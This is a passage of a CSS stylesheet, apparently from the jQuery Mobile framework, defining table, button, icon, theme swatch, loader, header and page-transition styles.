opt-in classes: strokes between each row, and alternating row stripes */ /* Classes table-stroke and table-stripe are deprecated in 1.4. */ .table-stroke thead th, .table-stripe thead th, .table-stripe tbody tr:last-child { border-bottom: 1px solid #d6d6d6; /* non-RGBA fallback */ border-bottom: 1px solid rgba(0,0,0,.1); } .table-stroke tbody th, .table-stroke tbody td { border-bottom: 1px solid #e6e6e6; /* non-RGBA fallback */ border-bottom: 1px solid rgba(0,0,0,.05); } .table-stripe.table-stroke tbody tr:last-child th, .table-stripe.table-stroke tbody tr:last-child td { border-bottom: 0; } .table-stripe tbody tr:nth-child(odd) td, .table-stripe tbody tr:nth-child(odd) th { background-color: #eeeeee; /* non-RGBA fallback */ background-color: rgba(0,0,0,.04); } /* Buttons -----------------------------------------------------------------------------------------------------------*/ .ui-btn, label.ui-btn { font-weight: bold; border-width: 1px; border-style: solid; } .ui-btn { text-decoration: none !important; } .ui-btn-active { cursor: pointer; } /* Corner rounding -----------------------------------------------------------------------------------------------------------*/ /* Class ui-btn-corner-all deprecated in 1.4 */ .ui-corner-all { -webkit-border-radius: .3125em /*{global-radii-blocks}*/; border-radius: .3125em /*{global-radii-blocks}*/; } /* Buttons */ .ui-btn-corner-all, .ui-btn.ui-corner-all, /* Slider track */ .ui-slider-track.ui-corner-all, /* Flipswitch */ .ui-flipswitch.ui-corner-all, /* Count bubble */ .ui-li-count { -webkit-border-radius: .3125em /*{global-radii-buttons}*/; border-radius: .3125em /*{global-radii-buttons}*/; } /* Icon-only buttons */ .ui-btn-icon-notext.ui-btn-corner-all, .ui-btn-icon-notext.ui-corner-all { -webkit-border-radius: 1em; border-radius: 1em; } /* Radius clip workaround for cleaning up corner trapping */ .ui-btn-corner-all, .ui-corner-all { -webkit-background-clip: padding; background-clip: padding-box; } /* Popup arrow */ .ui-popup.ui-corner-all > .ui-popup-arrow-guide { left: .6em /*{global-radii-blocks}*/; right: .6em /*{global-radii-blocks}*/; top: .6em /*{global-radii-blocks}*/; bottom: .6em /*{global-radii-blocks}*/; } /* Shadow -----------------------------------------------------------------------------------------------------------*/ .ui-shadow { -webkit-box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; -moz-box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; } .ui-shadow-inset { -webkit-box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; -moz-box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; } .ui-overlay-shadow { -webkit-box-shadow: 0 0 12px rgba(0,0,0,.6); -moz-box-shadow: 0 0 12px rgba(0,0,0,.6); box-shadow: 0 0 12px rgba(0,0,0,.6); } /* Icons -----------------------------------------------------------------------------------------------------------*/ .ui-btn-icon-left:after, .ui-btn-icon-right:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after, .ui-btn-icon-notext:after { background-color: #666 /*{global-icon-color}*/; background-color: rgba(0,0,0,.3) /*{global-icon-disc}*/; background-position: center center; background-repeat: no-repeat; -webkit-border-radius: 1em; border-radius: 1em; } /* Alt icons */ .ui-alt-icon.ui-btn:after, .ui-alt-icon .ui-btn:after, html .ui-alt-icon.ui-checkbox-off:after, html .ui-alt-icon.ui-radio-off:after, html .ui-alt-icon .ui-checkbox-off:after, html .ui-alt-icon .ui-radio-off:after { background-color: #666 /*{global-icon-color}*/; background-color: rgba(0,0,0,.15) /*{global-icon-disc}*/; } /* No disc */ .ui-nodisc-icon.ui-btn:after, .ui-nodisc-icon .ui-btn:after { background-color: transparent; } /* Icon shadow */ .ui-shadow-icon.ui-btn:after, .ui-shadow-icon .ui-btn:after { -webkit-box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; -moz-box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; } /* Checkbox and radio */ .ui-btn.ui-checkbox-off:after, .ui-btn.ui-checkbox-on:after, .ui-btn.ui-radio-off:after, .ui-btn.ui-radio-on:after { display: block; width: 18px; height: 18px; margin: -9px 2px 0 2px; } .ui-checkbox-off:after, .ui-btn.ui-radio-off:after { filter: Alpha(Opacity=30); opacity: .3; } .ui-btn.ui-checkbox-off:after, .ui-btn.ui-checkbox-on:after { -webkit-border-radius: .1875em; border-radius: .1875em; } .ui-btn.ui-checkbox-off:after { background-color: #666; background-color: rgba(0,0,0,.3); } .ui-radio .ui-btn.ui-radio-on:after { background-image: none; background-color: #fff; width: 8px; height: 8px; border-width: 5px; border-style: solid; } .ui-alt-icon.ui-btn.ui-radio-on:after, .ui-alt-icon .ui-btn.ui-radio-on:after { background-color: #000; } /* Loader */ .ui-icon-loading { background: url(images/ajax-loader.gif); background-size: 2.875em 2.875em; } /* Swatches */ /* A -----------------------------------------------------------------------------------------------------------*/ /* Bar: Toolbars, dividers, slider track */ .ui-bar-a, .ui-page-theme-a .ui-bar-inherit, html .ui-bar-a .ui-bar-inherit, html .ui-body-a .ui-bar-inherit, html body .ui-group-theme-a .ui-bar-inherit { background-color: #e9e9e9 /*{a-bar-background-color}*/; border-color: #ddd /*{a-bar-border}*/; color: #333 /*{a-bar-color}*/; text-shadow: 0 /*{a-bar-shadow-x}*/ 1px /*{a-bar-shadow-y}*/ 0 /*{a-bar-shadow-radius}*/ #eee /*{a-bar-shadow-color}*/; font-weight: bold; } .ui-bar-a { border-width: 1px; border-style: solid; } /* Page and overlay */ .ui-overlay-a, .ui-page-theme-a, .ui-page-theme-a .ui-panel-wrapper { background-color: #f9f9f9 /*{a-page-background-color}*/; border-color: #bbb /*{a-page-border}*/; color: #333 /*{a-page-color}*/; text-shadow: 0 /*{a-page-shadow-x}*/ 1px /*{a-page-shadow-y}*/ 0 /*{a-page-shadow-radius}*/ #f3f3f3 /*{a-page-shadow-color}*/; } /* Body: Read-only lists, text inputs, collapsible content */ .ui-body-a, .ui-page-theme-a .ui-body-inherit, html .ui-bar-a .ui-body-inherit, html .ui-body-a .ui-body-inherit, html body .ui-group-theme-a .ui-body-inherit, html .ui-panel-page-container-a { background-color: #fff /*{a-body-background-color}*/; border-color: #ddd /*{a-body-border}*/; color: #333 /*{a-body-color}*/; text-shadow: 0 /*{a-body-shadow-x}*/ 1px /*{a-body-shadow-y}*/ 0 /*{a-body-shadow-radius}*/ #f3f3f3 /*{a-body-shadow-color}*/; } .ui-body-a { border-width: 1px; border-style: solid; } /* Links */ .ui-page-theme-a a, html .ui-bar-a a, html .ui-body-a a, html body .ui-group-theme-a a { color: #3388cc /*{a-link-color}*/; font-weight: bold; } .ui-page-theme-a a:visited, html .ui-bar-a a:visited, html .ui-body-a a:visited, html body .ui-group-theme-a a:visited { color: #3388cc /*{a-link-visited}*/; } .ui-page-theme-a a:hover, html .ui-bar-a a:hover, html .ui-body-a a:hover, html body .ui-group-theme-a a:hover { color: #005599 /*{a-link-hover}*/; } .ui-page-theme-a a:active, html .ui-bar-a a:active, html .ui-body-a a:active, html body .ui-group-theme-a a:active { color: #005599 /*{a-link-active}*/; } /* Button up */ .ui-page-theme-a .ui-btn, html .ui-bar-a .ui-btn, html .ui-body-a .ui-btn, html body .ui-group-theme-a .ui-btn, html head + body .ui-btn.ui-btn-a, /* Button visited */ .ui-page-theme-a .ui-btn:visited, html .ui-bar-a .ui-btn:visited, html .ui-body-a .ui-btn:visited, html body .ui-group-theme-a .ui-btn:visited, html head + body .ui-btn.ui-btn-a:visited { background-color: #f6f6f6 /*{a-bup-background-color}*/; border-color: #ddd /*{a-bup-border}*/; color: #333 /*{a-bup-color}*/; text-shadow: 0 /*{a-bup-shadow-x}*/ 1px /*{a-bup-shadow-y}*/ 0 /*{a-bup-shadow-radius}*/ #f3f3f3 /*{a-bup-shadow-color}*/; } /* Button hover */ .ui-page-theme-a .ui-btn:hover, html .ui-bar-a .ui-btn:hover, html .ui-body-a .ui-btn:hover, html body .ui-group-theme-a .ui-btn:hover, html head + body .ui-btn.ui-btn-a:hover { background-color: #ededed /*{a-bhover-background-color}*/; border-color: #ddd /*{a-bhover-border}*/; color: #333 /*{a-bhover-color}*/; text-shadow: 0 /*{a-bhover-shadow-x}*/ 1px /*{a-bhover-shadow-y}*/ 0 /*{a-bhover-shadow-radius}*/ #f3f3f3 /*{a-bhover-shadow-color}*/; } /* Button down */ .ui-page-theme-a .ui-btn:active, html .ui-bar-a .ui-btn:active, html .ui-body-a .ui-btn:active, html body .ui-group-theme-a .ui-btn:active, html head + body .ui-btn.ui-btn-a:active { background-color: #e8e8e8 /*{a-bdown-background-color}*/; border-color: #ddd /*{a-bdown-border}*/; color: #333 /*{a-bdown-color}*/; text-shadow: 0 /*{a-bdown-shadow-x}*/ 1px /*{a-bdown-shadow-y}*/ 0 /*{a-bdown-shadow-radius}*/ #f3f3f3 /*{a-bdown-shadow-color}*/; } /* Active button */ .ui-page-theme-a .ui-btn.ui-btn-active, html .ui-bar-a .ui-btn.ui-btn-active, html .ui-body-a .ui-btn.ui-btn-active, html body .ui-group-theme-a .ui-btn.ui-btn-active, html head + body .ui-btn.ui-btn-a.ui-btn-active, /* Active checkbox icon */ .ui-page-theme-a .ui-checkbox-on:after, html .ui-bar-a .ui-checkbox-on:after, html .ui-body-a .ui-checkbox-on:after, html body .ui-group-theme-a .ui-checkbox-on:after, .ui-btn.ui-checkbox-on.ui-btn-a:after, /* Active flipswitch background */ .ui-page-theme-a .ui-flipswitch-active, html .ui-bar-a .ui-flipswitch-active, html .ui-body-a .ui-flipswitch-active, html body .ui-group-theme-a .ui-flipswitch-active, html body .ui-flipswitch.ui-bar-a.ui-flipswitch-active, /* Active slider track */ .ui-page-theme-a .ui-slider-track .ui-btn-active, html .ui-bar-a .ui-slider-track .ui-btn-active, html .ui-body-a .ui-slider-track .ui-btn-active, html body .ui-group-theme-a .ui-slider-track .ui-btn-active, html body div.ui-slider-track.ui-body-a .ui-btn-active { background-color: #3388cc /*{a-active-background-color}*/; border-color: #3388cc /*{a-active-border}*/; color: #fff /*{a-active-color}*/; text-shadow: 0 /*{a-active-shadow-x}*/ 1px /*{a-active-shadow-y}*/ 0 /*{a-active-shadow-radius}*/ #005599 /*{a-active-shadow-color}*/; } /* Active radio button icon */ .ui-page-theme-a .ui-radio-on:after, html .ui-bar-a .ui-radio-on:after, html .ui-body-a .ui-radio-on:after, html body .ui-group-theme-a .ui-radio-on:after, .ui-btn.ui-radio-on.ui-btn-a:after { border-color: #3388cc /*{a-active-background-color}*/; } /* Focus */ .ui-page-theme-a .ui-btn:focus, html .ui-bar-a .ui-btn:focus, html .ui-body-a .ui-btn:focus, html body .ui-group-theme-a .ui-btn:focus, html head + body .ui-btn.ui-btn-a:focus, /* Focus buttons and text inputs with div wrap */ .ui-page-theme-a .ui-focus, html .ui-bar-a .ui-focus, html .ui-body-a .ui-focus, html body .ui-group-theme-a .ui-focus, html head + body .ui-btn-a.ui-focus, html head + body .ui-body-a.ui-focus { -webkit-box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; -moz-box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; box-shadow: 0 0 12px #3388cc /*{a-active-background-color}*/; } /* B -----------------------------------------------------------------------------------------------------------*/ /* Bar: Toolbars, dividers, slider track */ .ui-bar-b, .ui-page-theme-b .ui-bar-inherit, html .ui-bar-b .ui-bar-inherit, html .ui-body-b .ui-bar-inherit, html body .ui-group-theme-b .ui-bar-inherit { background-color: #1d1d1d /*{b-bar-background-color}*/; border-color: #1b1b1b /*{b-bar-border}*/; color: #fff /*{b-bar-color}*/; text-shadow: 0 /*{b-bar-shadow-x}*/ 1px /*{b-bar-shadow-y}*/ 0 /*{b-bar-shadow-radius}*/ #111 /*{b-bar-shadow-color}*/; font-weight: bold; } .ui-bar-b { border-width: 1px; border-style: solid; } /* Page and overlay */ .ui-overlay-b, .ui-page-theme-b, .ui-page-theme-b .ui-panel-wrapper { background-color: #252525 /*{b-page-background-color}*/; border-color: #454545 /*{b-page-border}*/; color: #fff /*{b-page-color}*/; text-shadow: 0 /*{b-page-shadow-x}*/ 1px /*{b-page-shadow-y}*/ 0 /*{b-page-shadow-radius}*/ #111 /*{b-page-shadow-color}*/; } /* Body: Read-only lists, text inputs, collapsible content */ .ui-body-b, .ui-page-theme-b .ui-body-inherit, html .ui-bar-b .ui-body-inherit, html .ui-body-b .ui-body-inherit, html body .ui-group-theme-b .ui-body-inherit, html .ui-panel-page-container-b { background-color: #2a2a2a /*{b-body-background-color}*/; border-color: #1d1d1d /*{b-body-border}*/; color: #fff /*{b-body-color}*/; text-shadow: 0 /*{b-body-shadow-x}*/ 1px /*{b-body-shadow-y}*/ 0 /*{b-body-shadow-radius}*/ #111 /*{b-body-shadow-color}*/; } .ui-body-b { border-width: 1px; border-style: solid; } /* Links */ .ui-page-theme-b a, html .ui-bar-b a, html .ui-body-b a, html body .ui-group-theme-b a { color: #22aadd /*{b-link-color}*/; font-weight: bold; } .ui-page-theme-b a:visited, html .ui-bar-b a:visited, html .ui-body-b a:visited, html body .ui-group-theme-b a:visited { color: #22aadd /*{b-link-visited}*/; } .ui-page-theme-b a:hover, html .ui-bar-b a:hover, html .ui-body-b a:hover, html body .ui-group-theme-b a:hover { color: #0088bb /*{b-link-hover}*/; } .ui-page-theme-b a:active, html .ui-bar-b a:active, html .ui-body-b a:active, html body .ui-group-theme-b a:active { color: #0088bb /*{b-link-active}*/; } /* Button up */ .ui-page-theme-b .ui-btn, html .ui-bar-b .ui-btn, html .ui-body-b .ui-btn, html body .ui-group-theme-b .ui-btn, html head + body .ui-btn.ui-btn-b, /* Button visited */ .ui-page-theme-b .ui-btn:visited, html .ui-bar-b .ui-btn:visited, html .ui-body-b .ui-btn:visited, html body .ui-group-theme-b .ui-btn:visited, html head + body .ui-btn.ui-btn-b:visited { background-color: #333 /*{b-bup-background-color}*/; border-color: #1f1f1f /*{b-bup-border}*/; color: #fff /*{b-bup-color}*/; text-shadow: 0 /*{b-bup-shadow-x}*/ 1px /*{b-bup-shadow-y}*/ 0 /*{b-bup-shadow-radius}*/ #111 /*{b-bup-shadow-color}*/; } /* Button hover */ .ui-page-theme-b .ui-btn:hover, html .ui-bar-b .ui-btn:hover, html .ui-body-b .ui-btn:hover, html body .ui-group-theme-b .ui-btn:hover, html head + body .ui-btn.ui-btn-b:hover { background-color: #373737 /*{b-bhover-background-color}*/; border-color: #1f1f1f /*{b-bhover-border}*/; color: #fff /*{b-bhover-color}*/; text-shadow: 0 /*{b-bhover-shadow-x}*/ 1px /*{b-bhover-shadow-y}*/ 0 /*{b-bhover-shadow-radius}*/ #111 /*{b-bhover-shadow-color}*/; } /* Button down */ .ui-page-theme-b .ui-btn:active, html .ui-bar-b .ui-btn:active, html .ui-body-b .ui-btn:active, html body .ui-group-theme-b .ui-btn:active, html head + body .ui-btn.ui-btn-b:active { background-color: #404040 /*{b-bdown-background-color}*/; border-color: #1f1f1f /*{b-bdown-border}*/; color: #fff /*{b-bdown-color}*/; text-shadow: 0 /*{b-bdown-shadow-x}*/ 1px /*{b-bdown-shadow-y}*/ 0 /*{b-bdown-shadow-radius}*/ #111 /*{b-bdown-shadow-color}*/; } /* Active button */ .ui-page-theme-b .ui-btn.ui-btn-active, html .ui-bar-b .ui-btn.ui-btn-active, html .ui-body-b .ui-btn.ui-btn-active, html body .ui-group-theme-b .ui-btn.ui-btn-active, html head + body .ui-btn.ui-btn-b.ui-btn-active, /* Active checkbox icon */ .ui-page-theme-b .ui-checkbox-on:after, html .ui-bar-b .ui-checkbox-on:after, html .ui-body-b .ui-checkbox-on:after, html body .ui-group-theme-b .ui-checkbox-on:after, .ui-btn.ui-checkbox-on.ui-btn-b:after, /* Active flipswitch background */ .ui-page-theme-b .ui-flipswitch-active, html .ui-bar-b .ui-flipswitch-active, html .ui-body-b .ui-flipswitch-active, html body .ui-group-theme-b .ui-flipswitch-active, html body .ui-flipswitch.ui-bar-b.ui-flipswitch-active, /* Active slider track */ .ui-page-theme-b .ui-slider-track .ui-btn-active, html .ui-bar-b .ui-slider-track .ui-btn-active, html .ui-body-b .ui-slider-track .ui-btn-active, html body .ui-group-theme-b .ui-slider-track .ui-btn-active, html body div.ui-slider-track.ui-body-b .ui-btn-active { background-color: #22aadd /*{b-active-background-color}*/; border-color: #22aadd /*{b-active-border}*/; color: #fff /*{b-active-color}*/; text-shadow: 0 /*{b-active-shadow-x}*/ 1px /*{b-active-shadow-y}*/ 0 /*{b-active-shadow-radius}*/ #0088bb /*{b-active-shadow-color}*/; } /* Active radio button icon */ .ui-page-theme-b .ui-radio-on:after, html .ui-bar-b .ui-radio-on:after, html .ui-body-b .ui-radio-on:after, html body .ui-group-theme-b .ui-radio-on:after, .ui-btn.ui-radio-on.ui-btn-b:after { border-color: #22aadd /*{b-active-background-color}*/; } /* Focus */ .ui-page-theme-b .ui-btn:focus, html .ui-bar-b .ui-btn:focus, html .ui-body-b .ui-btn:focus, html body .ui-group-theme-b .ui-btn:focus, html head + body .ui-btn.ui-btn-b:focus, /* Focus buttons and text inputs with div wrap */ .ui-page-theme-b .ui-focus, html .ui-bar-b .ui-focus, html .ui-body-b .ui-focus, html body .ui-group-theme-b .ui-focus, html head + body .ui-btn-b.ui-focus, html head + body .ui-body-b.ui-focus { -webkit-box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; -moz-box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; box-shadow: 0 0 12px #22aadd /*{b-active-background-color}*/; } /* Structure */ /* Disabled -----------------------------------------------------------------------------------------------------------*/ /* Class ui-disabled deprecated in 1.4. :disabled not supported by IE8 so we use [disabled] */ .ui-disabled, .ui-state-disabled, button[disabled], .ui-select .ui-btn.ui-state-disabled { filter: Alpha(Opacity=30); opacity: .3; cursor: default !important; pointer-events: none; } /* Focus state outline -----------------------------------------------------------------------------------------------------------*/ .ui-btn:focus, .ui-btn.ui-focus { outline: 0; } /* Unset box-shadow in browsers that don't do it right */ .ui-noboxshadow .ui-shadow, .ui-noboxshadow .ui-shadow-inset, .ui-noboxshadow .ui-overlay-shadow, .ui-noboxshadow .ui-shadow-icon.ui-btn:after, .ui-noboxshadow .ui-shadow-icon .ui-btn:after, .ui-noboxshadow .ui-focus, .ui-noboxshadow .ui-btn:focus, .ui-noboxshadow input:focus, .ui-noboxshadow .ui-panel { -webkit-box-shadow: none !important; -moz-box-shadow: none !important; box-shadow: none !important; } .ui-noboxshadow .ui-btn:focus, .ui-noboxshadow .ui-focus { outline-width: 1px; outline-style: auto; } /* Some unsets */ .ui-mobile, .ui-mobile body { height: 99.9%; } .ui-mobile fieldset, .ui-page { padding: 0; margin: 0; } .ui-mobile a img, .ui-mobile fieldset { border-width: 0; } /* Fixes for fieldset issues on IE10 and FF (see #6077) */ .ui-mobile fieldset { min-width: 0; } @-moz-document url-prefix() { .ui-mobile fieldset { display: table-column; vertical-align: middle; } } /* Viewport */ .ui-mobile-viewport { margin: 0; overflow-x: visible; -webkit-text-size-adjust: 100%; -ms-text-size-adjust:none; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } /* Issue #2066 */ body.ui-mobile-viewport, div.ui-mobile-viewport { overflow-x: hidden; } /* "page" containers - full-screen views, one should always be in view post-pageload */ .ui-mobile [data-role=page], .ui-mobile [data-role=dialog], .ui-page { top: 0; left: 0; width: 100%; min-height: 100%; position: absolute; display: none; border: 0; } /* On ios4, setting focus on the page element causes flashing during transitions when there is an outline, so we turn off outlines */ .ui-page { outline: none; } .ui-mobile .ui-page-active { display: block; overflow: visible; overflow-x: hidden; } @media screen and (orientation: portrait) { .ui-mobile .ui-page { min-height: 420px; } } @media screen and (orientation: landscape) { .ui-mobile .ui-page { min-height: 300px; } } /* Fouc */ .ui-mobile-rendering > * { visibility: hidden; } /* Non-js content hiding */ .ui-nojs { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } /* Loading screen */ .ui-loading .ui-loader { display: block; } .ui-loader { display: none; z-index: 9999999; position: fixed; top: 50%; left: 50%; border:0; } .ui-loader-default { background: none; filter: Alpha(Opacity=18); opacity: .18; width: 2.875em; height: 2.875em; margin-left: -1.4375em; margin-top: -1.4375em; } .ui-loader-verbose { width: 12.5em; filter: Alpha(Opacity=88); opacity: .88; box-shadow: 0 1px 1px -1px #fff; height: auto; margin-left: -6.875em; margin-top: -2.6875em; padding: .625em; } .ui-loader-default h1 { font-size: 0; width: 0; height: 0; overflow: hidden; } .ui-loader-verbose h1 { font-size: 1em; margin: 0; text-align: center; } .ui-loader .ui-icon-loading { background-color: #000; display: block; margin: 0; width: 2.75em; height: 2.75em; padding: .0625em; -webkit-border-radius: 2.25em; border-radius: 2.25em; } .ui-loader-verbose .ui-icon-loading { margin: 0 auto .625em; filter: Alpha(Opacity=75); opacity: .75; } .ui-loader-textonly { padding: .9375em; margin-left: -7.1875em; } .ui-loader-textonly .ui-icon-loading { display: none; } .ui-loader-fakefix { position: absolute; } /* Headers, content panels */ .ui-bar, .ui-body { position: relative; padding: .4em 1em; overflow: hidden; display: block; clear: both; } .ui-bar h1, .ui-bar h2, .ui-bar h3, .ui-bar h4, .ui-bar h5, .ui-bar h6 { margin: 0; padding: 0; font-size: 1em; display: inline-block; } .ui-header, .ui-footer { border-width: 1px 0; border-style: solid; position: relative; } .ui-header:empty, .ui-footer:empty { min-height: 2.6875em; } .ui-header .ui-title, .ui-footer .ui-title { font-size: 1em; min-height: 1.1em; text-align: center; display: block; margin: 0 30%; padding: .7em 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; outline: 0 !important; } .ui-footer .ui-title { margin: 0 1em; } .ui-content { border-width: 0; overflow: visible; overflow-x: hidden; padding: 1em; } /* Corner styling for dialogs and popups */ .ui-corner-all > .ui-header:first-child, .ui-corner-all > .ui-content:first-child, .ui-corner-all > .ui-footer:first-child { -webkit-border-top-left-radius: inherit; border-top-left-radius: inherit; -webkit-border-top-right-radius: inherit; border-top-right-radius: inherit; } .ui-corner-all > .ui-header:last-child, .ui-corner-all > .ui-content:last-child, .ui-corner-all > .ui-footer:last-child { -webkit-border-bottom-left-radius: inherit; border-bottom-left-radius: inherit; -webkit-border-bottom-right-radius: inherit; border-bottom-right-radius: inherit; } /* Buttons and icons */ .ui-btn { font-size: 16px; margin: .5em 0; padding: .7em 1em; display: block; position: relative; text-align: center; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .ui-btn-icon-notext, .ui-header button.ui-btn.ui-btn-icon-notext, .ui-footer button.ui-btn.ui-btn-icon-notext { padding: 0; width: 1.75em; height: 1.75em; text-indent: -9999px; white-space: nowrap !important; } .ui-mini { font-size: 12.5px; } .ui-mini .ui-btn { font-size: inherit; } /* Make buttons in toolbars default to mini and inline. */ .ui-header .ui-btn, .ui-footer .ui-btn { font-size: 12.5px; display: inline-block; vertical-align: middle; } .ui-header .ui-controlgroup .ui-btn-icon-notext, .ui-footer .ui-controlgroup .ui-btn-icon-notext { font-size: 12.5px; } /* To ensure same top and left/right position when ui-btn-left/right are added to something other than buttons. */ .ui-header .ui-btn-left, .ui-header .ui-btn-right { font-size: 12.5px; } .ui-mini.ui-btn-icon-notext, .ui-mini .ui-btn-icon-notext, .ui-header .ui-btn-icon-notext, .ui-footer .ui-btn-icon-notext { font-size: 16px; padding: 0; } .ui-btn-inline { display: inline-block; vertical-align: middle; margin-right: .625em; } .ui-btn-icon-left { padding-left: 2.5em; } .ui-btn-icon-right { padding-right: 2.5em; } .ui-btn-icon-top { padding-top: 2.5em; } .ui-btn-icon-bottom { padding-bottom: 2.5em; } .ui-header .ui-btn-icon-top, .ui-footer .ui-btn-icon-top, .ui-header .ui-btn-icon-bottom, .ui-footer .ui-btn-icon-bottom { padding-left: .3125em; padding-right: .3125em; } .ui-btn-icon-left:after, .ui-btn-icon-right:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after, .ui-btn-icon-notext:after { content: ""; position: absolute; display: block; width: 22px; height: 22px; } .ui-btn-icon-notext:after, .ui-btn-icon-left:after, .ui-btn-icon-right:after { top: 50%; margin-top: -11px; } .ui-btn-icon-left:after { left: .5625em; } .ui-btn-icon-right:after { right: .5625em; } .ui-mini.ui-btn-icon-left:after, .ui-mini .ui-btn-icon-left:after, .ui-header .ui-btn-icon-left:after, .ui-footer .ui-btn-icon-left:after { left: .37em; } .ui-mini.ui-btn-icon-right:after, .ui-mini .ui-btn-icon-right:after, .ui-header .ui-btn-icon-right:after, .ui-footer .ui-btn-icon-right:after { right: .37em; } .ui-btn-icon-notext:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after { left: 50%; margin-left: -11px; } .ui-btn-icon-top:after { top: .5625em; } .ui-btn-icon-bottom:after { top: auto; bottom: .5625em; } /* Buttons in header position classes */ .ui-header .ui-btn-left, .ui-header .ui-btn-right, .ui-btn-left > [class*="ui-"], .ui-btn-right > [class*="ui-"] { margin: 0; } .ui-btn-left, .ui-btn-right { position: absolute; top: .24em; } .ui-btn-left { left: .4em; } .ui-btn-right { right: .4em; } .ui-btn-icon-notext.ui-btn-left { top: .3125em; left: .3125em; } .ui-btn-icon-notext.ui-btn-right { top: .3125em; right: .3125em; } /* Button elements */ button.ui-btn, .ui-controlgroup-controls button.ui-btn-icon-notext { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; -webkit-appearance: none; -moz-appearance: none; width: 100%; } button.ui-btn-inline, .ui-header button.ui-btn, .ui-footer button.ui-btn { width: auto; } /* Firefox adds a 1px border in a button element. We negate this to make sure they have the same height as other buttons in controlgroups. */ button.ui-btn::-moz-focus-inner { border: 0; } button.ui-btn-icon-notext, .ui-controlgroup-horizontal .ui-controlgroup-controls button.ui-btn { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; width: 1.75em; } /* Form labels */ .ui-mobile label, .ui-controlgroup-label { display: block; margin: 0 0 .4em; } /* Accessible content hiding */ /* ui-hide-label deprecated in 1.4. TODO: Remove in 1.5 */ .ui-hide-label > label, .ui-hide-label .ui-controlgroup-label, .ui-hide-label .ui-rangeslider label, .ui-hidden-accessible { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px,1px,1px,1px); } /* Used for hiding elements by the filterable widget. You can also use this class to hide list items or buttons in controlgroups; this ensures correct corner styling. */ .ui-screen-hidden { display: none !important; } /* Transitions originally inspired by those from jQtouch, nice work, folks */ .ui-mobile-viewport-transitioning, .ui-mobile-viewport-transitioning .ui-page { width: 100%; height: 100%; overflow: hidden; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .ui-page-pre-in { opacity: 0; } .in { -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 350ms; -moz-animation-timing-function: ease-out; -moz-animation-duration: 350ms; animation-timing-function: ease-out; animation-duration: 350ms; } .out { -webkit-animation-timing-function: ease-in; -webkit-animation-duration: 225ms; -moz-animation-timing-function: ease-in; -moz-animation-duration: 225ms; animation-timing-function: ease-in; animation-duration: 225ms; } @-webkit-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @-moz-keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @keyframes fadein { from { opacity: 0; } to { opacity: 1; } } @-webkit-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @-moz-keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } @keyframes fadeout { from { opacity: 1; } to { opacity: 0; } } .fade.out { opacity: 0; -webkit-animation-duration: 125ms; -webkit-animation-name: fadeout; -moz-animation-duration: 125ms; -moz-animation-name: fadeout; animation-duration: 125ms; animation-name: fadeout; } .fade.in { opacity: 1; -webkit-animation-duration: 225ms; -webkit-animation-name: fadein; -moz-animation-duration: 225ms; -moz-animation-name: fadein; animation-duration: 225ms; animation-name: fadein; } .pop { -webkit-transform-origin: 50% 50%; -moz-transform-origin: 50% 50%; transform-origin: 50% 50%; } .pop.in { -webkit-transform: scale(1); -webkit-animation-name: popin; -webkit-animation-duration: 350ms; -moz-transform: scale(1); -moz-animation-name: popin; -moz-animation-duration: 350ms; transform: scale(1); animation-name: popin; animation-duration: 350ms; opacity: 1; } .pop.out { -webkit-animation-name: fadeout; -webkit-animation-duration: 100ms; -moz-animation-name: fadeout; -moz-animation-duration: 100ms; animation-name: fadeout; animation-duration: 100ms; opacity: 0; } .pop.in.reverse { -webkit-animation-name: fadein; -moz-animation-name: fadein; animation-name: fadein; } .pop.out.reverse { -webkit-transform: scale(.8); -webkit-animation-name: popout; -moz-transform: scale(.8); -moz-animation-name: popout; transform: scale(.8); animation-name: popout; } @-webkit-keyframes popin { from { -webkit-transform: scale(.8); opacity: 0; } to { -webkit-transform: scale(1); opacity: 1; } } @-moz-keyframes popin { from { -moz-transform: scale(.8); opacity: 0; } to { -moz-transform: scale(1); opacity: 1; } } @keyframes popin { from { transform: scale(.8); opacity: 0; } to { transform: scale(1); opacity: 1; } } @-webkit-keyframes popout { from { -webkit-transform: scale(1); opacity: 1; } to { -webkit-transform: scale(.8); opacity: 0; } } @-moz-keyframes popout { from { -moz-transform: scale(1); opacity: 1; } to { -moz-transform: scale(.8); opacity: 0; } } @keyframes popout { from { transform: scale(1); opacity: 1; } to { transform: scale(.8); opacity: 0; } } /* keyframes for slidein from sides */ 